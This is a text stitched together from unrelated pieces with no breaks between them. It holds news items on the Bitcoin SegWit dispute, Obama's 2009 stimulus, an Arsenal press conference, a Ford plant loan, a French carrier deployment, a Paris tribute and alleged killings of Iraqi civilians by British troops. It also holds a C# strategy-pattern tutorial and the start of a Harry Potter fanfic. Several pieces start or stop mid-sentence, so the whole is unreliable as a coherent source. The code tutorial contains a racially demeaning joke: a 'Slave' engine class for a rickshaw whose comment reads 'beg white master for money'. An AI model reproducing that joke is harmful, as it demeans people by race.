And Jon Matonis of the Bitcoin Foundation and nChain commented, that the discussion has gone from the question, ‘When will SegWit be activated?’ to the question, ‘What can Core do to save its influence?’
One of the most drastic examples is again Stephen Pair, who commented on UASF. UASF means “User Activated Soft Fork” and stands for a plan to activate SegWit not with, but against the miners with the nodes. For some weeks, parts of the Bitcoin community have cheered for a UASF, while Core developers have not voiced a clear stance toward an UASF, but, at least, do not pragmatically reject the idea.
BitPay already expressed his disagreement with UASF some weeks ago. Now Pair tweets: “UASF is not a grassroots effort, it is an astroturfing effort.”
astro-turfing would imply a company behind? almost certain there is not, and really user led. risky approach IMO, but don't mischaracterise. — Adam Back (@adam3us) May 17, 2017
Astroturfing is a funny word. In the original sense, it means to lay out an artificial turf. In a wider sense, it makes fun of the term “grassroots movement” and describes the PR strategy to stage a naturally emerging support from “the people,” while for real it is just a marketing show. There are dozens and hundreds of examples how companies and governments used astroturfing to manipulate the public.
Astroturfing is a rude accusation. The whole UASF movement, which is currently spreading through the Bitcoin community – is not a grassroots movement, but propaganda? As Blockstream’s community manager Alex Bergamon recently published a blog post which directly or indirectly encouraged users for UASF, Blockstream’s CEO Adam Back felt immediately spoken to. He insisted that there is no astroturfing since no company is involved.
An endless stream of this kind of discussion on the same old points flows through the net.
Again and Again: 2MB + SegWit
Less controversial is the push forward from Barry Silbert. The founder of the Digital Currency Group, an investment hub which finances dozens of Bitcoin companies, announced that he immediately supports the activation of SegWit and a hard fork increasing the block size during next 12 months.
I agree to immediately support the activation of Segregated Witness and commit to effectuate a block size increase to 2MB within 12 months — Barry Silbert (@barrysilbert) May 17, 2017
Later Silbert tweeted that more than 50 companies from more than 20 countries would support this compromise. Then he asked the miners and reported nearly 80 percent of the hash rate are with him.
We are now at 78.3% of the bitcoin hash rate in support of the scaling compromise https://t.co/fC6XHnGmCU — Barry Silbert (@barrysilbert) May 18, 2017
So, 2MB + SegWit. We are back at the infamous Agreement of Hong Kong, with which the miners and some Core devs, including Adam Back and Luke Dashjr, agreed to couple the activation of SegWit with a hard fork to bigger blocks. This compromise has been discussed again and again, recently with Sergio Lerner’s proposal. By convincing more than 50 companies and roughly 80 percent of the hash rate, Silbert made a revitalization of this solution more likely. It has the potential to calm down the block size fight for some years and give the community enough time to unleash the possible potential of off-chain solutions like the Lightning Network and to agree on a long-term solution to the block size limit.
But… Wait!
However, it is not so easy. The usual suspects of the Core devs protest vehemently. Luke Dashjr – who signed the Hong Kong agreement and covertly co-founded Blockstream, tweeted that this could only mean that Silbert will support an UASF to enable SegWit to increase the block size to 2MB during the next 12 months.
In other words, let us do exactly what we want to do. SegWit is the compromise, and so on.
The obvious interpretation would be that it simply means the parties agree to USE segwit in their wallets to reach segwit's 2 MB block size. — Luke Dashjr (@LukeDashjr) May 18, 2017
Remarkably Luke presents himself on Twitter with a UASF cap. With this, he leaves no doubt that he supports a UASF, if this is needed to activate SegWit against the miners and without any (further) compromise. For Luke mining has failed anyway, since the near-monopolist BitMain took a position against Core and for Bitcoin Unlimited.
Also, Eric Lombrozo opposes the compromise. He replies that Core did already explain why this idea does not work.
Far from silence! Many have pointed out that this won't work. — Eric Lombrozo (@eric_lombrozo) May 18, 2017
Further, Lombrozo says that there is not much to discuss. Some people do not like some other people and want to get rid of them. SegWit serves as a hostage. Lombrozo announced that he tends to UASF the stronger, the more groups try to negotiate consensus rules. Similar are the reactions of Adam Back and Peter Todd – who both signed the Hong Kong agreement.
But also Pair of BitPay is not so happy with the new compromise. He told Silbert to support it, but explained later, that he assumed the new compromise is not the revival of the Hong Kong agreement, but Sergio Lerner’s proposal. Roughly said a promise of Core is not enough, but he requires that the Hard Fork is coded in when SegWit is activated.
The Bitcoin community seems remain far away from an agreement. But it might be possible, that now, when the limited capacity has become a real problem, a solution will be found. It is about time.Audacity itself as economic theory
President-elect Obama proposes an unparalleled test of Keynes' decades-old idea: that government spending on a grand-enough scale can inspire the confidence to right a sinking economy.
Only during World War II did U.S. government expenditures account for a greater share of economic activity, according to federal statistics. That's also true for virtually every other developed country.
President-elect Barack Obama will soon unveil a package of tax cuts and spending increases that, combined with already planned spending, would push Washington's 2009 deficit to between $1.5 trillion and $2 trillion -- more than 10% of the economy's output. And he will argue that this tidal wave of federal expenditure should continue into next year, and perhaps beyond.
And the nation is poised to put this theory to the test on a scale untried in peacetime by any developed country on Earth.
WASHINGTON — In a measure of how quickly its options are shrinking, the United States is about to embrace an economic theory that was widely thought for most of the last generation to have been discredited: the idea that great bursts of deficit-funded government expenditure can jolt an economy back to growth.
"There's been nothing of the magnitude of what the incoming administration is contemplating -- certainly not as intentional policy -- in the modern era," said Adam Posen, deputy director of the Peterson Institute for International Economics in Washington.
The sheer size of Obama's plan and the considerable support it is generating among economists as well as the public are testament to the frightening dimensions of the global economic plunge -- and to the fact that, to date, efforts by government policymakers have done little more than slow the fall.
Obama's plan represents an unexpected comeback for the ideas of the late British economist John Maynard Keynes, who argued in the 1930s that governments could end the Depression by spending heavily to maintain demand for goods and services until frightened consumers and damaged businesses gained the courage to resume buying and selling on their own.
The secret, Keynes argued, was not so much the amount of money the government spent, but how convincingly it signaled that the economic game was reviving -- and thus enticed players in the private sector to overcome their fears and begin playing again.
In this regard, timing and the political atmosphere when the government acted were critical: The size of the stimulus had to be large enough to seem likely to have an effect, and action had to be taken quickly and decisively -- without the kind of political haggling that could undermine confidence.
Experience also suggests the stimulus strategy must be accompanied by steps to fix the damaged financial system, especially credit, economists say.
"If you don't fix the financial system, you're going to linger in the wind for a very long time," said Harvard economist Kenneth Rogoff.
For decades, conservative economists have dismissed Keynes as misguided. What has suddenly revived interest in his ideas is the shattering speed with which the present economic crisis has developed.
At the American Economic Assn.'s annual meeting in San Francisco last week, experts conceded that they had been caught flat-footed by the virulence of the current crisis and were rushing to brush up on Keynesian "fiscal stimulus."
"Fundamentally, we're facing a whole new ballgame," said Boston College economist Peter Gottschalk. "We thought we knew how to treat the disease of recession. We were able to give it the right medicine and basically had it under control.Arsene Wenger faced the media after Arsenal’s 2-1 defeat against Swansea City at Emirates Stadium on Wednesday. You can read a full transcript of his press conference below:
on the result…It was a very unlucky defeat because we created many chances, we were unlucky in our finishing and they only had two shots on target which were both goals. It’s a very disappointing result. The players are very down but we have to respond to that.
on whether it is a confidence issue…It looks like it a bit.
on how he solves that issue ahead of the north London derby…We focus on our job and come back reminding ourselves that we have some quality as well. Of course we have to analyse it as well and bounce back. We have a big game in three days.
on whether he is worried that the league is slipping away…At the moment I am worrying about our results. We just lost three games and that is always a very disappointing moment for the team. At the moment we don’t dream. We have to be realistic and come back to what we do well, the basics.
on Petr Cech…He struggled. He had a little groin problem before the game and I think he struggled a little bit tonight.
on his injury…He will not play on Saturday.
on how big the setback is…I trust Ospina completely.
on how serious Cech’s injury is…I don’t know, we have to see. It’s a muscular problem, a calf problem and I don’t know how long he will be out for.
on Laurent Koscielny…He has a calf problem as well. He will not play on Saturday.
on subbing Campbell for Welbeck…Campbell hasn’t played for a while and he started to tire. He played against a very young left back and I thought Welbeck could give him some problems with his runs in behind. These kinds of decisions don’t mean that Campbell did badly. I think he did quite well tonight. I also think that there was room on that flank to be very dangerous.
on the atmosphere… I don’t know. Let’s focus on our job and ignore that. We have to get the fans back on our side. The fans were ready to support us tonight I think. They were quite good. We faded in the game and we could see that in the last part of the game we had a lack of movement to create dangerous situations.
on the title race… I don’t know. It is very difficult to say because everybody drops points. At the moment, I believe that we need to get back to positive results before we speak about the Championship which is at stake at the moment. It is very difficult as it is unpredictable. Manchester City lost, Tottenham lost. It is very difficult to predict what will happen in this league.
on if Arsenal can still win the league… Let’s focus on winning the next game and not talk about the title tonight. I’m not in the mood to do that tonight. It is a big disappointment for us to swallow this and we need to bounce back.
on what was wrong with Koscielny… Calf.EUROPEAN bank bosses have claimed they were clueless about Ford’s plans to ditch Southampton’s plant when handing £80m to its Turkey factory.
As previously revealed, the US car giant received the loan for its Turkish plant, where it has been ramping up production – while production tumbled at the Swaythling plant.
Ford is using the cash to upgrade the booming plant in the Mediterranean country, which is not even a European Union member.
South East Euro MPs last night renewed their condemnation of the loan, which they said sealed the fate of the “home of the Transit” in Southampton.
The loan from the European Investment Bank (EIB), owned by Britain and fellow EU member states, was agreed in June as part of a multi-billion-dollar investment plan for the 395-acre site in Kocaeli which is taking over all Transit production.
But the EIB last night told the Daily Echo it “strongly refuted” that the loan led to the closure of the Southampton plant.
It said it had financed the production of existing Turkish-made vans and on the back of promises that Ford’s Southampton plant had a future.
A spokesman said: “There is no link between funding in Turkey and the job losses in Southampton. It was an unfortunate decision taken by Ford which impacted on UK jobs.
“Evaluation for this EIB loan was completed in December 2011. At the time of the evaluation, it was foreseen that a version of the new vehicle would continue to be sourced from Ford’s Southampton plant.”
But with the plant closing in July 2013 after nearly 40 years, its Turkish counterpart is set to thrive.
Thanks to the loan, it will be introducing state-of-the-art facilities to prepare for production of a next generation of vans.
The same new models will soon be making their appearance on the quayside of Southampton – having been shipped from a non-EU member with much less workers’ pay and conditions rights.
UK Independence Party leader and South East MEP Nigel Farage questioned why Chancellor George Osborne, a governor of the bank as one of the 27 member states that own it, allowed the loan to go ahead to a country outside the EU.
He said: “The EIB says it is not an issue of timing. But it is a simple fact that UK taxpayers, through the EIB, were subsidising the closure of a UK manufacturing plant. It is just a sweetener to get Turkey to join the EU.”
Daniel Hannan, Conservative South East MEP, said: “Competition is one thing, but it’s outrageous that British taxpayers should be subsidising foreign competitors to our own firms.”The only aircraft carrier in the French Navy’s fleet, the Charles de Gaulle, will leave for the Persian Gulf on November 18, to join the fight against Islamic State in the region, Paris has confirmed.
“The naval group will leave Toulon (a major French naval base) in a few days, on November 18, to arrive in the Persian Gulf in mid-December,” government spokesman Stephane Le Foll said, as cited by Le Figaro.
France announced the deployment of its only aircraft carrier against Islamic State (IS, formerly ISIS/ISIL) on November 5.
Read more
“The deployment of the battle group alongside the Charles de Gaulle aircraft carrier has been undertaken in order to participate in operations against Daesch [ISIS] and its affiliate groups” the French president’s office said in an issued statement.
“The aircraft carrier will enable us to be more efficient in coordination with our allies” President Francois Hollande said, adding that it will “bolster Paris’ firepower in the region amid international efforts to launch Syrian peace talks.”
France started its airstrikes in Syria in September, a year after it launched similar operations in Iraq. It is now using six Rafale multirole fighter aircraft stationed in the United Arab Emirates and six Mirage 2000 fighters deployed in Jordan.
France carried out about 1,300 aerial missions in Iraq with 271 airstrikes destroying more than 450 terrorist targets. Only a few airstrikes have been carried out in Syria.
The Charles de Gaulle is the biggest European aircraft carrier. It is also the only nuclear-powered vessel of this nature outside the US. The vessel can deploy up to 40 fixed wing jets and helicopters including 12 Rafales. The Charles de Gaulle has already been used against the IS militants in Iraq – in February and in April, 2015.Steps to Reduce Code Size after Use of Strategy Pattern 3 (60%) 2 votes (60%)votes
This article features a few tricks to reduce the size of the code resulting from the use of the ‘strategy’ pattern. As you can deduce from the title, all these tricks will be related to the usage of generic types.
1. Hierarchy of classes involved in magic rituals
Suppose we have an abstract ‘vehicle’ class that can move (the Move method). This class has 3 descendants: a car, a plane, and a rickshaw. Each of them implements the method in its own way:
abstract class Vehicle { abstract void Move(); } class Car : Vehicle { override void Move() { // burn fuel // spin wheel } } class Plane : Vehicle { override void Move() { // suck air // burn fuel // spew jetstream } } class Rickshaw : Vehicle { override void Move() { // do one step // beg white master for money } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 abstract class Vehicle { abstract void Move ( ) ; } class Car : Vehicle { override void Move ( ) { // burn fuel // spin wheel } } class Plane : Vehicle { override void Move ( ) { // suck air // burn fuel // spew jetstream } } class Rickshaw : Vehicle { override void Move ( ) { // do one step // beg white master for money } }
2. Strategy Application
Suppose, we have new requirements beginning to appear:
1. It became obvious that new types of vehicles are to appear
2. Some of them will implement the Move method similarly. For instance, a car and a locomotive will both burn fuel and spin wheels.
3. The way of movement may be changed. For example, a steam frigate can move with the help of both, sail and steam.
Obviously, it is the time to put the code responsible for the movement into a separate Engine class:
abstract class Vehicle { Engine Engine { get { return engine; } set { if (value!= null) { engine = value; } else { throw new ArgumentNullException(); } } } private Engine engine; protected Vehicle(Engine engine) { Engine = engine; } public void Move() { engine.Work(); } } class Car : Vehicle { Car() : base(new InternalCombustionEngine()) { } } class Plane : Vehicle { Plane() : base(new JetEngine()) { } } class Rickshaw : Vehicle { Rickshaw() : base(new Slave()) { } } abstract class Engine { public abstract void Work(); } class InternalCombustionEngine : Engine { public override void Work() { // burn fuel // spin wheel } } class JetEngine : Engine { public override void Work() { // suck air // burn fuel // spew jetstream } } class Slave : Engine { public override void Work() { // do one step // beg white master for money } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 |
relief from the BRICSA bloc, and it is conceivable that if there is any restructuring, it may ultimately involve BRICSA intervention in the affair. One can easily imagine scenarios where, say, China buys Mr. Singer's bonds at par, and then renegotiates them with Argentina, in return for privileges and so on.
And that means you can say goodbye to another prominent South American country as it reorients more and more toward the BRICSA bloc. And it's a lesson in how private capitalism of this sort is always fraught with geopolitical consequences...
See you on the flip side...Paris Mayor Anne Hidalgo has announced in a Twitter post that the Eiffel Tower will turn off its lights to pay tribute to the victims of the St. Petersburg Metro terrorist attack, apparently after she faced massive public pressure on social networks.
READ MORE: Berlin in hot water for not lighting Brandenburg Gate in tribute to St. Petersburg attack victims
“Tonight, at midnight, Paris will dim the lights of the Eiffel Tower in tribute to the victims of the attack in Saint Petersburg,” Hidalgo tweeted on Tuesday.
I will turn my lights off tonight, at midnight, to pay tribute to the victims of the Saint Petersburg attack. #EiffelTowerpic.twitter.com/eqhHgdGXq7 — La tour Eiffel (@LaTourEiffel) April 4, 2017
The mayor allegedly caved in to public pressure, as many people were apparently outraged after the famous landmark didn’t turn off its lights or light up in the colors of the Russian flag on the evening of the attack.
READ MORE: ‘Only in exceptional cases’: No illuminated European landmarks for St. Petersburg victims
Hidalgo had expressed solidarity with the victims of the attack in a Monday tweet. Many people commented on the post by asking if anything was going to be done in Paris for this to be “more than words.”
@Anne_Hidalgo et la tour Eiffel? du respect pour les victimes pas uniquement dans les mots! — Eny Lass (@EnyLass) April 3, 2017
“I hope you will put the Eiffel Tower lights out! Or not all victims [of terrorist attacks] are equal?!” the mayor was asked.
@Anne_Hidalgo J'espère que vous allez éteindre la Tour Eiffel! Ou est-ce-que toutes les victimes ne se valent pas??? — Iris Desfleurs (@IrisDesfleurs) April 3, 2017
“Are the Russians some ‘sub-humans’ that [you] do not pay homage to them by lighting the Eiffel Tower? Shame on you!” another comment read.
@Anne_Hidalgo les russes sont-ils un "sous peuple"pour ne pas leur rendre hommage en allumant la tour Eiffel? Honte à vous.écoeurant...😒 — bigot fabienne (@ByMiaou) April 4, 2017
There have been messages describing Hidalgo’s apparent inaction as shameful and accusing her of Russophobia.
@Anne_Hidalgo et la tour eiffel ne s illumine pas!!! c est honteux!!!!!! — orte lau (@lau_orte) April 4, 2017
@Anne_Hidalgo service minimum pour le peuple russe. La russophobie des socialistes devient indécente et confine au racisme — Laborde (@Labordegard) April 3, 2017
Fourteen people were killed and dozens more injured in a suicide bombing attack in the St. Petersburg Metro on Monday.
World leaders expressed their condolences with those affected by the attack. However, no European cities showed their solidary with the victims by decorating their landmarks with Russia’s national colors on Monday evening, even though they have often done so when other nations suffered similar attacks.
READ MORE: NYet: Empire State Building lights up for UNC instead of St. Petersburg bombingExclusive: Soldiers and airmen are suspected of killing significant number of civilians, but have not been put on trial
British soldiers and airmen are suspected of being responsible for the murder and manslaughter of a number of Iraqi civilians in addition to the high-profile case of Baha Mousa, defence officials have admitted.
The victims include a man who was allegedly kicked to death on board an RAF helicopter, another who was shot by a soldier of the Black Watch after being involved in a traffic incident, and a 19-year-old who drowned after allegedly being pushed into a river by soldiers serving with the Royal Engineers.
Military police recommended that some of the alleged killers be put on trial for murder and manslaughter, but military prosecutors declined to do so after concluding that there was no realistic prospect of convictions. The Ministry of Defence and the Service Prosecuting Authority (SPA) have repeatedly declined to offer detailed explanations for those decisions. The MoD has also been reluctant to offer anything other than sketchy details of some of the investigations.
In the case of the man said to have been kicked to death aboard an RAF helicopter by troops of the RAF Regiment, the MoD has admitted that the allegation was investigated by RAF police, who decided not to conduct any postmortem examination of the body. After the case was referred to the RAF's most senior prosecutor, a decision was taken not to bring charges, apparently because the cause of death remained unknown. MoD officials are refusing to say whether any of the alleged killers were ever interviewed as part of the investigation. They did admit, however, that the British military has made no attempt to contact the man's family since his death.
The disclosure that British servicemen are suspected of being involved in the unlawful killing of a significant number of Iraqi civilians comes after the high court gave permission for a judicial review of the MoD's failure to establish a public inquiry into the British military's entire detention policy in the wake of the 2003 invasion.
An army investigation into a number of cases – including that of Mousa, who was tortured to death by British troops – conceded in 2008 that they were a cause for "professional humility", but concluded that there was nothing endemic about the mistreatment.
In July, however, after reviewing evidence submitted by lawyers representing 102 survivors of British military detention facilities, the high court ruled: "There is an arguable case that the alleged ill-treatment was systemic, and not just at the whim of individual soldiers." The court also cast doubt on the ability of military police to conduct independent investigations.
The abuse documented by a team of lawyers led by Birmingham solicitor Phil Shiner includes 59 allegations of detainees being hooded, 11 of electric shocks, 122 of sound deprivation through the use of ear muffs, 52 of sleep deprivation, 131 of sight deprivation using blackened goggles, 39 of enforced nakedness and 18 allegations that detainees were kept awake by pornographic DVDs played on laptops.
The incidents which led to British servicemen being suspected of murder or manslaughter came shortly after the invasion, at a time of growing chaos and lawlessness in Iraq.
The RAF case concerns the death of a man called Tanik Mahmud, who was detained at a checkpoint at Ramadi in western Iraq on 11 April 2003 for reasons that the MoD has repeatedly declined to disclose. He and a number of other detainees were put aboard a Chinook helicopter, and guarded by three men from the 2nd Squadron of the RAF Regiment.
The MoD says that Mahmud "sustained a fatal injury" while on board the aircraft, but maintains that it does not know what sort of injury this was. On the Chinook's arrival at a US air base, Mahmud's body was examined by a US military doctor, who declared the cause of death to be unknown.
The MoD says that an RAF police investigation was opened two months later following a complaint that the three men from the RAF Regiment "had kicked, punched or otherwise assaulted" Mahmud. According to the MoD's account, the RAF investigators waited a further 10 months before asking a pathologist whether it was worth conducting a postmortem examination. According to the RAF investigators, this pathologist advised them that Mahmud's body would be too decomposed for an examination to be worthwhile. The MoD would not say whether the pathologist was an RAF officer.
That view is disputed by an experienced forensic pathologist, who has told the Guardian that an examination could still reveal evidence of an assault, particularly if any ribs or facial bones had been damaged. Derrick Pounder, professor of forensic medicine at the University of Dundee, who has experience of exhumations and postmortems in the Middle East, said: "That advice would be contrary to the advice that any UK forensic scientist would offer to any police in the UK who were investigating an allegation of assault leading to death." When the Guardian asked the MoD if it could see a copy of the pathologist's advice that it says the RAF police received, a spokesman said no copy could be found in its files.
Three weeks after Mahmud was killed, a man called Ather Karim Khalaf, a newlywed aged 24, was shot dead, allegedly after the door of his car swung open at a checkpoint and struck a soldier of the Black Watch. An eyewitness has told the Guardian that after being shot at close range Karim Khalaf was dragged from the car and beaten. He died later in hospital. The MoD confirmed that Karim Khalaf had been sitting at the wheel of his car when he was shot, and that witnesses have complained that he was then taken from the vehicle and beaten. A spokesman said the Royal Military Police (RMP) recommended that the soldier be prosecuted for murder, but military prosecutors declined to do so.
Four weeks after Karim Khalaf was shot dead, Said Shabram, 19, drowned after British soldiers allegedly pushed him and another man, Munaam Bali Akaili, from a four-metre-high jetty into the Shatt al-Arab waterway near Basra.
In a statement that Akaili made during a claim for compensation, he described the moments before his friend died. "The soldier with the gun then started pushing us towards the edge of the jetty," he said. "Said and I were very afraid and started begging the soldier to stop. The soldier continued to push us towards the edge. He seemed to get agitated that we would not jump in and, at one point, I thought he was getting so angry he would shoot us. The soldiers were laughing. The soldier with the gun suddenly pushed us into the water."
Akaili was dragged from the water by passersby. Shabram's body was recovered after his family hired a diver to search the water. An MoD spokesman said the three Royal Engineers were reported by the RMP for manslaughter, but military prosecutors declined to bring charges.
The MoD evaded a series of questions about prosecution decisions in these cases for more than three months, before deciding they should be addressed by the Service Prosecuting Authority, which was formed last year from the merger of the armed services' prosecuting bodies.
Brigadier Philip McEvoy, deputy director of the SPA, said the name Ather Karim Khalaf meant nothing to him; when asked how many cases there could be in which military police had recommended a soldier be prosecuted for murder, he replied: "God knows."
McEvoy also said he knew little about the Tanik Mahmud case because the file had been retained by the RAF's directorate of legal services. He then maintained that he had no idea where that directorate was based.
McEvoy issued a statement in which he said there had been too little evidence to justify a prosecution in the Mahmud or Shabram cases. He added that "the presumption of innocence can only be undermined" if the SPA were to release information allowing the public to determine why an individual had fallen under suspicion.
A small number of soldiers alleged to have killed Iraqi civilians have faced prosecution.
A court martial cleared four soldiers who were accused of the manslaughter of a 15-year-old, Ahmed Jabbar Kareem, who drowned after he was allegedly pushed into a canal in Basra two weeks before the death of Shabram. The court heard that British troops had a policy of "wetting" suspected looters by forcing them into canals and rivers.
In a separate case, seven soldiers were cleared of the murder of another Iraqi teenager, Nadhem Abdullah, after a judge ruled that there was insufficient evidence.
Six soldiers were cleared of the abuse of Baha Mousa. A seventh pleaded guilty to inhumane treatment and was jailed for a year.
In a number of other cases in which Iraqi civilians have died in British military custody, the RMP has not recommended criminal charges. These include the case of Abdul Jabbar Musa Ali, a headteacher aged 55, who was detained by soldiers of the Black Watch, along with his son, after a number of firearms were found at their home. Both men are alleged to have been beaten as they were being detained, and the MoD concedes that "there is some corroborative witness evidence to support allegations that they were assaulted" when arrested.
In a statement that Musa Ali's son has given to lawyers, he said his father was subsequently kept hooded and beaten repeatedly for several hours, and that his screaming abruptly stopped. When his family retrieved his body it was said to have been extensively bruised. The MoD said it was not possible to establish whether a crime had been committed because the family refused permission for an exhumation.
Another man died five days earlier after being detained by soldiers of the Black Watch, apparently at the same detention centre. His corpse was taken to a local hospital where his death was recorded as being the result of cardiac arrest. The MoD admits that this recording was made by a man with no medical qualifications. "The RMP subsequently investigated and established that no crime had been committed," the MoD said.Transitions
Chapter 1 Nightmares
Every breath he took seemed to splinter his lungs. The air was pungent with the smell of charred flesh, blood and death. Yet as Harry hunched over, Ginny clinging to him desperately, he could still smell the sweet scent of the manicured grounds of Hogwarts. It made him want to retch, for this hallowed ground had been breached yet again and somehow, the magic that surrounded it was a little less potent now. But this would be the last time, because Voldemort was gone!
"Harry, please!" Ginny begged, pulling at him to get up.
"I have to stop her!" he wheezed, as he stood with an ache in his back, but ready to continue his pursuit of Bellatrix Lestrange, though he knew she was gone.
"Please, Harry, we have to find Ron and Hermione!" Ginny said, shakily.
Harry's head whipped around. Ron! Hermione! Frantically, he grabbed Ginny's hand and they ran back toward the castle. Coming upon the battle site with haste, Harry scanned the area with hawk-like precision, yet his friends were nowhere to be found. A sickening feeling began to twist in his gut as he searched to no avail.
Just as he was about to lose his mind, fall to his knees and cry, Harry saw just the edge of a foot sticking out from the other side of a large tree down by the lake. He knew that trainer, and it belonged to Ron. Harry took off like a bullet. God, he thought his lungs were going to completely disintegrate with the shear pressure he was putting on them, but he had to get to Ron.
As he got closer, he saw the foot move and almost collapsed from the joy it brought to him. At least Ron was alive, and Harry's lungs forced him to slow down to a fast paced jog. When he was even closer, he could hear Ron laughing and Harry nearly fell to his knees with the urge to shout out his relief in a tearful wail. He seemed to have no control over his emotions at the present.
Harry slowed to a rapid walk, for if Ron was laughing, then Hermione was surely alive and well, and should be just as joyful. That's when Harry noticed, now that his heart was not pounding in his ears, he had never heard Ron laugh like this.
At his destination, Harry rounded the tree and nearly collapsed. Ron was holding the limp form of Hermione in his arms and he was not laughing at all. He was crying and it was the most god-awful sound Harry had ever heard. Looking at his mate, he wondered how he could have ever thought that sound was laughter. Ron hiccupped, coughed and moaned as he looked up at Harry and stretched out his hand. "
Harry," he cried. "Hel-help me!" Harry gaped at Ron as he felt a hot tear fall from his eye. Then, without a conscious thought, he aimed his wand at Hermione's chest, and shouted,
"Ennerverate!" Hermione's body gave a small lurch, but nothing happened.
"I've already tried that!" Ron shouted, with an angry growl and ripped Harry's wand out of his hand, tossing it away. "Don't you think I would have thought of that?" Ron screamed and hugged Hermione to him with a sickening moan. Harry dropped to his knees in horrified disbelief. A sob spilled from his throat as Ron locked eyes with him.
"She's dea—"
"NO! Don't you say it!" Harry shouted, and lurched forward, grabbing Ron around the collar. "She's not! She's NOT!" He slumped against Ron's shoulder and wailed loudly. In his sorrow, he could hear Ginny screaming out her tears behind him and was vaguely aware that others were coming now, watching them fall to pieces.
Suddenly Harry felt a strong hand pull him back and discovered that Remus was holding him, but he fought to be let loose. Hermione was gone, he needed to hold onto her for as long as her body had warmth, but Remus held him firmly. Professor McGonagall was on her knees, tears streaming down her face, but she seemed intent to get a look at Hermione.
"What happened to her?" she asked, but Ron was far too gone to answer. McGonagall surveyed her a bit closer now. "Mr. Weasley, we need to get her to St. Mungo's!" she said, but Ron was lost in his misery, as was Harry.
"Mr. Weasley!" the professor shouted. "She needs to go, now!" McGonagall made to pull Hermione by the arm, but Ron roughly pushed her hand away.
"She's DEAD! Leave us alone!" he choked.
"She is not dead!" McGonagall shouted. "Dead people don't cry!" Ron stopped mid-sob, and looked down at Hermione. She did indeed have a tear rolling down her cheek. Ron leapt to his feet as if he was holding nothing in his arms, and took off at a run. He was like a mad man as he ran toward the castle, but Harry was right along with him.
In a blur, they made it to St. Mungo's, only for the Healers to tell Ron that he and Harry had wasted valuable time crying over her, and now, there was nothing they could do to bring her back.
"NO!" Ron screamed, and sat bolt upright in his bed. His heart was thumping and his head was pounding. He fought the wave of nausea that assaulted him the moment he sat up. A creak of the floorboards made his eyes snap open. Ginny was standing in his doorway, looking like a ghost in her white nightgown. She had her wand in one hand and a drink in the other. She aimed her wand at Ron as she walked toward the bed.
"Are you all right?" she asked, then gave her wrist a flick toward the window causing it to fly open bringing a warm summer breeze in with it. Ron couldn't answer for fear that he would vomit. Ginny seemed to recognize this as she attempted to continue cooling the room. With another flick of her wand, a large banana leaf appeared and began to fan Ron.
He slumped back on his headboard and took a deep breath. Soaked with sweat, Ron lazily pulled his shirt off and tossed it to the floor. Ginny waved her wand again and he felt his wet sheet zip from under him and a second later, a crisp clean one had replaced it. The evenings were far too hot for anything other than a simple fitted sheet, at least for Ron being in the hottest room in the Burrow.
"Why didn't you have your window open?" Ginny asked, as she handed him the ice cold glass of carbonated water. Ron sipped it and instantly his stomach stopped flipping, then he felt cool all over. He was certain it contained a cooling concoction and perhaps something to settle his stomach. He smiled a little, and bit back a comment about Ginny being just like their mum. He knew she'd thump him one.
"You always keep it so stifling in here. You must want to suffocate. Budge up," she said and Ron scooted close against the wall to make room for her. Ginny lay beside him in the bed and looked up at the ceiling.
Once Ron had downed his drink, and was feeling much better, he said, "I'm up in the trees, Gin. Do you know how loud those bloody owls are in the middle of the night? It's like they have a town meeting right at my window sometimes." He belched loudly, and handed Ginny the empty glass, which she sat on the night-table after shooting Ron a disgusted look. Now they both stared at the ceiling while the banana leaf fanned them.
"Was it the same dream?" Ginny asked, after several silent moments. Ron nodded. "You want to talk about it?" Ron shrugged. "It might help," she prodded mildly.
"What's to talk about?" He shrugged again.
"Well it may help if you tried to think about why you keep having it."
"I know why I keep having it. I nearly lost one of my best friends because I was too busy being a cry baby!"
"Ron, you weren't the only one standing around crying, and the fact that she actually didn't die should be reason enough to keep you from having the dream."
"She dies in the dream, Gin, every time…she…dies," Ron whispered. Ginny looked over at him sadly, but he kept his gaze on the ceiling.
"There is something more though. I mean, there is some reason that you keep having it." She paused, pensively. "Was there anything unusual or different about it this time?"
"Actually, there was, it was like I was seeing it all through Harry's eyes." Ginny looked at him.
"Really? How do you mean?"
"Well, you and Harry had just missed catching Bellatrix and then you were looking for me and Hermione. I could feel how tired and scared Harry was. I mean, I could hardly breathe as he was running. It was weird."
"What do you think it means?" she asked, turning on her side so she could really look at him.
"I don't know. I'm just sick of having them. I'm knackered all the time and look…" he pointed to the clock. "I have to be up in four hours."
"Well, there's a slight sleeping draught in the drink I gave you so—"
"What? You gave me a sleeping potion?" Ron fixed her with a shocked expression.
"I make up a batch every night, but you don't always need it. I thought you knew."
"No, I didn't know!" Ron sat up slowly, already feeling the effects. "That stuff can become addictive Gin! You can't just give it to me without letting me know! I figured there was a cooling potion in it, and maybe something for my stomach, but you really can't give me the sleeping draught, not without letting me know."
"I'm sorry! I didn't know, honest, I didn't." She grabbed his arm, pleadingly.
"It's fine, just don't do it again." He sighed deeply. "I wondered why I could always fall asleep after you'd come in and talked to me. I thought it was the talking that helped." He muttered to himself, and Ginny looked at him sadly. "Tomorrow night is going to be hell."
"I know something that may help," Ginny said, with a slightly guilty expression. "Actually, I know two things that may help. One's a definite, but unfortunately, you won't be able to do that," she smirked as she began to rummage through Ron's night-table drawer.
"What is it? I might be able to do it," Ron asked eagerly.
"The sure-fire way to cure insomnia is getting shagged, thoroughly!" She shot him a smirk over her shoulder.
"Merlin, Gin! Sometimes you have such a filthy mouth."
"What's so filthy about that? Sometimes you are such a prude, Ron."
"Am not!" he said, hotly. If she knew some of the things he'd thought about doing to Hermione, surely she'd think he was a sex maniac and petition to have him locked away. Ron smirked.
"Whatever, Ron. Here," she said, as she found what she was looking for and handed him a thin, red leather journal. "You should be writing in this. It may help. Besides, what have you got to lose, except for the dreams? Maybe once you figure out why Hermione dies in the dream, then you'll stop having them." Ron had flinched at the word "dies," but Ginny continued as if she hadn't noticed.
"I have my theories, but you are not ready to hear them." Ginny murmured as she stood to leave. Ron had heard her, but he gave no indication of it. He knew that she was going to say that he needed to deal with his unrequited feelings and stifled passion, all the rubbish she normally spoke. He was aware of this, to some extent, but Ron had a plan.
